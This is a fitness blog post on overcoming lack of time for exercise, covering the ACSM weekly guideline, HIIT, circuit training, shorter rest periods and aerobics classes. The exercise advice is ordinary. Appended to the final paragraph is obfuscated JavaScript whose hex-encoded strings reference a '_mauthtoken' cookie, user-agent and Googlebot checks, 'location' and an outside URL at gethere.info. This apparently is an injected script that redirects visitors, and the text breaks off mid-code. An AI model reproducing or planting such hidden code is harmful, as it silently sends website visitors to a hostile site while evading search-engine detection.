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Time: Exercise’s Barrier

Many people in today’s society are strapped for time.  They have so many commitments scheduled into their daily lives that going to the gym will send them overboard.  I have often heard the phrase, I wish there were a couple more hours in a day, or I just do not have time to do everything.

Here are the facts about exercise and time constraints:Time

–          The American College of Sports Medicine (ACSM) recommends at least 150 minutes of moderate intensity per week.

  • This equates to about 2.5 hours a week which is equivalent of about 1.5% of your week. 

–          The ACSM also suggest that this total weekly time can be subdivided into one continuous session are multiple shorter sessions (at least 10 minutes).

  • If spread amongst 3 days (45-60 minutes per day), that is the equivalent of about 3-4% of your day.

These guidelines are very attainable for any individual.  When you express them as percentages, they truly are quite small portions of your day or week.  However, many people complain of having little time for exercise.  So for these people, I have put together a few simple ways one can exercise for as little as 30 minutes per session (2% of your day) and still burn more calories than if you were to sit at home.

HIIT

I have written previous articles on this subject (here and here) but will briefly summarize it here. Essentially you alternate between periods of high and low intensity during an exercise session on a treadmill, upright bike, elliptical, etc.  You should try and keep your periods of high and low intensity constant so for example, 2 minutes low intensity, 1 minute high.  This repeated 10 times will result in 30 minutes!

Circuit Training

Instead of going through your usual resistance training program exercise by exercise, set by set, try and put multiple exercises one after the other with very little break between. This works best if the exercises to not target the same muscle groups twice in a row.  For example, doing these exercises one after the other – squat, pushups, lunges, pull ups, sit ups – will give you little rest resulting in more work done in less time.  Furthermore, you will gain some great stamina from circuit training.  A simple way to make your own circuit would be to follow this pattern, upper body, lower body, core, repeat.  Try to keep your rest periods short (15-20 seconds) in between exercises, but when you get to the end of one set of a circuit, give yourself a longer break (60-90 seconds).

Increase Intensity, Decrease Rest

If you do not like to perform circuits, then you can try reducing your rest time in between sets.  This will result in one performing more work in less time and get you moving from one exercise to the next faster.  Although this is not cardiovascular exercise, it can be a viable alternative if you increase your reps (20+) and decrease rest time between sets (<60 seconds).  You will most likely need to reduce the resistance to be able to complete this.

Aerobics Classes

Most large exercise facilities have group classes which range from 30-60 minutes per session.  If you are an individual who is highly organized, this may be your best option.  You would become more committed to attend if you scheduled the sessions into your daily planner.  Performing 3×60 minute sessions per week would be equal to more than what is recommended by ACSM.  Additionally, there are multiple classes offered at facilities so you would be able to pick classes which suite your needs and interest.

Finding time for exercise doesn’t have to be a burden.  By scheduling your times into a daily planner, you will feel more motivated and obliged to go.  Additionally, it only takes about 3% of your time per week.  If 3% is all it takes to make you healthier, why not?var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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